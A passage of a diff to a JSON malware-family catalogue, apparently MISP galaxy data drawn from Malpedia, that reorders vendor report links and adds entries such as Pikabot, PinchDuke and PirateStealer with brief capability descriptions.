"https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", - "https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/", "https://securelist.com/elections-goransom-and-hermeticwiper-attack/105960/", - "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", - "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf", - "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", - "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", - "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://www.techtarget.com/searchsecurity/news/252514091/CrowdStrike-cracks-PartyTicket-ransomware-targeting-Ukraine", "https://www.zscaler.com/blogs/security-research/technical-analysis-partyticket-ransomware", - "https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/", + "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine", + "https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview", + "https://securelist.com/webinar-on-cyberattacks-in-ukraine-summary-and-qa/106075/", + "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-hermeticwiper-partyticket", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.crowdstrike.com/blog/how-to-decrypt-the-partyticket-ransomware-targeting-ukraine/", + "https://securelist.com/new-ransomware-trends-in-2022/106457/", + "https://decoded.avast.io/threatresearch/help-for-ukraine-free-decryptor-for-hermeticransom-ransomware/", + "https://www.brighttalk.com/webcast/15591/534324", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://go.recordedfuture.com/hubfs/reports/mtp-2022-0302.pdf", "https://www.splunk.com/en_us/blog/security/detecting-hermeticwiper.html", - "https://www.brighttalk.com/webcast/15591/534324" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", + "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", + "https://www.kaspersky.com/blog/hermeticransom-hermeticwiper-attacks-2022/43825/", + "https://www.mandiant.com/resources/russia-invasion-ukraine-retaliation", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", + "https://www.mandiant.com/resources/information-operations-surrounding-ukraine", + "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-hermeticransom-victims-in-ukraine/", + "https://threatpost.com/free-hermeticransom-ransomware-decryptor-released/178762/", + "https://www.techtarget.com/searchsecurity/news/252514091/CrowdStrike-cracks-PartyTicket-ransomware-targeting-Ukraine", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict/IOC%20Resource%20for%20Russia-Ukraine%20Conflict-Related%20Cyberattacks-03032022.pdf" ], "synonyms": [ "Elections GoRansom", @@ -35321,12 +37168,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pay2key", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/TrendMicroRSRCH/status/1389422784808378370", "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "https://twitter.com/TrendMicroRSRCH/status/1389422784808378370", + "https://www.bleepingcomputer.com/news/security/intels-habana-labs-hacked-by-pay2key-ransomware-data-stolen/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf" ], "synonyms": [ @@ -35355,8 +37202,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pcshare", - "https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf" + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf", + "https://web.archive.org/web/20191115210757/https://threatvector.cylance.com/en_us/home/pcshare-backdoor-attacks-targeting-windows-users-with-fakenarrator-malware.html" ], "synonyms": [], "type": [] @@ -35369,14 +37216,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pebbledash", - "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", - "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", - "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", "https://www.us-cert.gov/ncas/analysis-reports/ar20-133c", - "https://asec.ahnlab.com/en/30022/", "https://blog.reversinglabs.com/blog/hidden-cobra", - "https://asec.ahnlab.com/en/30532/" + "https://asec.ahnlab.com/en/30022/", + "https://download.ahnlab.com/global/brochure/Analysis%20Report%20of%20Kimsuky%20Group.pdf", + "https://asec.ahnlab.com/wp-content/uploads/2021/11/Kimsuky-%EA%B7%B8%EB%A3%B9%EC%9D%98-APT-%EA%B3%B5%EA%B2%A9-%EB%B6%84%EC%84%9D-%EB%B3%B4%EA%B3%A0%EC%84%9C-AppleSeed-PebbleDash.pdf", + "https://asec.ahnlab.com/en/30532/", + "https://malwarenailed.blogspot.com/2020/06/peebledash-lazarus-hiddencobra-rat.html?m=1", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/" ], "synonyms": [], "type": [] @@ -35470,14 +37317,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.petya", - "https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/", - "https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/", "https://blog.malwarebytes.com/threat-analysis/2016/04/petya-ransomware/", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", "https://blog.malwarebytes.com/cybercrime/2017/07/keeping-up-with-the-petyas-demystifying-the-malware-family/", - "https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/", "https://blog.malwarebytes.com/threat-analysis/2016/05/petya-and-mischa-ransomware-duet-p1/", - "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html" + "https://blog.malwarebytes.com/threat-analysis/2016/07/third-time-unlucky-improved-petya-is-out/", + "https://www.microsoft.com/security/blog/2017/06/27/new-ransomware-old-techniques-petya-adds-worm-capabilities/", + "https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", + "https://blog.malwarebytes.com/malwarebytes-news/2017/07/bye-bye-petya-decryptor-old-versions-released/", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/" ], "synonyms": [], "type": [] @@ -35518,12 +37366,12 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.philadelphia_ransom", "https://www.proofpoint.com/us/threat-insight/post/philadelphia-ransomware-customization-commodity-malware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", - "https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html", + "https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/", + "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", "https://intel471.com/blog/a-brief-history-of-ta505", - "https://www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/", - "https://krebsonsecurity.com/2017/03/ransomware-for-dummies-anyone-can-do-it/" + "https://www.cylance.com/en_us/blog/threat-spotlight-philadelphia-ransomware.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf" ], "synonyms": [], "type": [] @@ -35532,32 +37380,33 @@ "value": "Philadephia Ransom" }, { - "description": "Ransomware.", + "description": "MalwareBytes states that Phobos is one of the ransomware families that are distributed via hacked Remote Desktop (RDP) connections. This isn't surprising, as hacked RDP servers are a cheap commodity on the underground market, and can make for an attractive and cost efficient dissemination vector for threat groups.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phobos", - "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", - "https://paraflare.com/luci-spools-the-fun-with-phobos-ransomware/", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", - "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://blog.malwarebytes.com/threat-spotlight/2020/01/threat-spotlight-phobos-ransomware-lives-up-to-its-name/", - "https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware", "https://www.fortinet.com/blog/threat-research/deep-analysis-the-eking-variant-of-phobos-ransomware", - "https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", - "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.advanced-intel.com/post/inside-phobos-ransomware-dharma-past-underground", "https://blogs.blackberry.com/en/2021/11/zebra2104", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://blog.malwarebytes.com/threat-spotlight/2020/01/threat-spotlight-phobos-ransomware-lives-up-to-its-name/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://paraflare.com/luci-spools-the-fun-with-phobos-ransomware/", "https://blog.malwarebytes.com/threat-analysis/2019/07/a-deep-dive-into-phobos-ransomware/", - "https://securelist.com/cis-ransomware/104452/" + "https://securelist.com/cis-ransomware/104452/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf", + "https://www.coveware.com/blog/phobos-ransomware-distributed-dharma-crew", + "https://www.sri.ro/articole/atac-cibernetic-cu-aplicatia-ransomware-phobos", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://cert.pl/en/posts/2023/02/breaking-phobos/" ], "synonyms": [], "type": [] @@ -35570,10 +37419,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_keylogger", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://www.cybereason.com/blog/phoenix-the-tale-of-the-resurrected-alpha-keylogger", - "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass", - "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/" + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", + "https://news.sophos.com/en-us/2022/08/18/cookie-stealing-the-new-perimeter-bypass" ], "synonyms": [], "type": [] @@ -35587,10 +37436,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoenix_locker", "https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", "https://killingthebear.jorgetesta.tech/actors/evil-corp", - "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp" + "https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself" ], "synonyms": [], "type": [] @@ -35598,14 +37447,27 @@ "uuid": "58aff639-0eda-4a80-9fe8-22e0498af728", "value": "Phoenix Locker" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.phonk", + "https://twitter.com/abuse_ch/status/1630111198036348928" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e0aa3f91-59d6-4344-bcc5-d602aaab21f9", + "value": "Phonk" + }, { "description": " Phoreal is a very simple backdoor that is capable of creating a reverse shell, performing simple file I/O and top-level window enumeration. It communicates to a list of four preconfigured C2 servers via ICMP on port 53", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phoreal", - "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf", + "https://www.secureworks.com/research/threat-profiles/tin-woodlawn", "https://elastic.github.io/security-research/intelligence/2022/03/02.phoreal-targets-southeast-asia-financial-sector/article/", - "https://www.secureworks.com/research/threat-profiles/tin-woodlawn" + "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/SpyRATsofOceanLotusMalwareWhitePaper.pdf" ], "synonyms": [ "Rizzo" @@ -35620,24 +37482,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows", - "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://twitter.com/_CPResearch_/status/1447852018794643457", "https://research.checkpoint.com/2019/phorpiex-breakdown/", - "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/", - "https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/", - "https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/", - "https://www.johannesbader.ch/2016/02/phorpiex/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://bin.re/blog/phorpiex/", + "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", + "https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/", "https://blogs.vmware.com/security/2021/11/telemetry-peak-analyzer-an-automatic-malware-campaign-detector.html", + "https://www.lastline.com/labsblog/nemty-ransomware-scaling-up-apac-mailboxes-swarmed-dual-downloaders/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/nemty-ransomware-trik-botnet", "https://www.bleepingcomputer.com/news/security/trik-spam-botnet-leaks-43-million-email-addresses/", - "https://therecord.media/phorpiex-botnet-shuts-down-source-code-goes-up-for-sale/", + "https://www.johannesbader.ch/2016/02/phorpiex/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://research.checkpoint.com/2021/phorpiex-botnet-is-back-with-a-new-twizt-hijacking-hundreds-of-crypto-transactions/", "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://twitter.com/_CPResearch_/status/1447852018794643457", - "https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/", - "https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/" + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/shylock-not-the-lone-threat-targeting-skype/", + "https://www.zdnet.com/article/someone-is-uninstalling-the-phorpiex-malware-from-infected-pcs-and-telling-users-to-install-an-antivirus/", + "https://www.microsoft.com/security/blog/2021/05/20/phorpiex-morphs-how-a-longstanding-botnet-persists-and-thrives-in-the-current-threat-environment/", + "https://www.proofpoint.com/us/threat-insight/post/phorpiex-decade-spamming-shadows" ], "synonyms": [ "Trik" @@ -35652,18 +37515,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader", - "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", - "https://twitter.com/felixw3000/status/1521816045769662468", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", - "https://isc.sans.edu/diary/28636", - "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", - "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", + "https://isc.sans.edu/diary/29740", + "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary", + "https://www.team-cymru.com/post/from-chile-with-malware", + "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", + "https://blog.unpac.me/2023/05/03/unpacme-weekly-new-version-of-icedid-loader", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://research.openanalysis.net/icedid/bokbot/photoloader/config/2023/04/06/photoloader.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", + "https://twitter.com/felixw3000/status/1521816045769662468", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload/", + "https://blog.talosintelligence.com/following-the-lnk-metadata-trail", + "https://www.youtube.com/watch?v=4j8t9kFLFIY", + "https://isc.sans.edu/diary/28636", + "https://www.elastic.co/security-labs/unpacking-icedid", + "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", + "https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing", + "https://www.spreaker.com/user/16860719/proofpoint-e29-mix-v1", + "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://www.team-cymru.com/post/a-visualizza-into-recent-icedid-campaigns", "https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html", - "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes" + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure" ], "synonyms": [], "type": [] @@ -35699,14 +37575,28 @@ "uuid": "2bda00e8-e6a7-448d-8dfa-4f2276230e8b", "value": "Pierogi" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot", + "https://minerva-labs.com/blog/beepin-out-of-the-sandbox-analyzing-a-new-extremely-evasive-malware/", + "https://medium.com/@DCSO_CyTec/shortandmalicious-pikabot-and-the-matanbuchus-connection-5e302644398" + ], + "synonyms": [], + "type": [] + }, + "uuid": "992151e9-2d4d-4621-9a2e-f2219f97e55b", + "value": "Pikabot" + }, { "description": "According to FireEye, PILLOWMINT is a Point-of-Sale malware tool used to scrape track 1 and track 2 payment card data from memory.\r\n Scraped payment card data is encrypted and stored in the registry and as plaintext in a file (T1074: Data Staged)\r\n Contains additional backdoor capabilities including:\r\n Running processes\r\n Downloading and executing files (T1105: Remote File Copy)\r\n Downloading and injecting DLLs (T1055: Process Injection)\r\n Communicates with a command and control (C2) server over HTTP using AES encrypted messages\r\n (T1071: Standard Application Layer Protocol)\r\n (T1032: Standard Cryptographic Protocol)\r\n\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint", "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf" ], "synonyms": [], "type": [] @@ -35714,6 +37604,19 @@ "uuid": "dec78ec5-f02d-461f-a8cc-cd4e80099e38", "value": "PILLOWMINT" }, + { + "description": "According to F-Secure, the PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. F-Secure believes that PinchDuke’s credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke", + "https://blog.f-secure.com/wp-content/uploads/2020/03/F-Secure_Dukes_Whitepaper.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d837fc8e-1298-4911-9cfd-eb434a25bf3a", + "value": "PinchDuke" + }, { "description": "", "meta": { @@ -35746,8 +37649,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon", - "https://twitter.com/ESETresearch/status/1506904404225630210", - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/" + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", + "https://twitter.com/ESETresearch/status/1506904404225630210" ], "synonyms": [], "type": [] @@ -35755,15 +37658,28 @@ "uuid": "34c0b51a-7139-44ab-b09a-cef646e66ba0", "value": "PipeMon" }, + { + "description": "Infostealer", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirate_stealer", + "https://mostwanted002.cf/post/malware-analysis-and-triage-report-piratestealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "19748031-0d8d-4e76-bf8e-0838f8a3d07c", + "value": "PirateStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi", "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", - "https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-mayfair", + "https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" ], "synonyms": [ @@ -35772,15 +37688,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "4859330d-c6a5-4b9c-b45b-536ec983cd4a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e2325481-006f-4ad4-86d9-1a2ae6fea154", "value": "pirpi" }, @@ -35789,11 +37696,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou", - "https://www.tgsoft.it/english/news_archivio_eng.asp?id=884", "https://isc.sans.edu/diary/rss/25068", + "https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf", + "https://www.tgsoft.it/english/news_archivio_eng.asp?id=884", "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.565.9211&rep=rep1&type=pdf", - "https://johannesbader.ch/2019/07/the-dga-of-pitou/", - "https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf" + "https://johannesbader.ch/2019/07/the-dga-of-pitou/" ], "synonyms": [], "type": [] @@ -35838,23 +37745,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", - "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://unit42.paloaltonetworks.com/atoms/rancortaurus/", + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "58b24db2-79d7-11e8-9b1b-bbdbc798af4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "66087a9c-b5ac-4d6d-b79e-c0294728c876", "value": "PLAINTEE" }, @@ -35863,9 +37761,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.play", + "https://www.orangecyberdefense.com/global/blog/playing-the-game", + "https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/", + "https://www.bleepingcomputer.com/news/security/rackspace-confirms-play-ransomware-was-behind-recent-cyberattack/", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-play-ransomware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy", "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", + 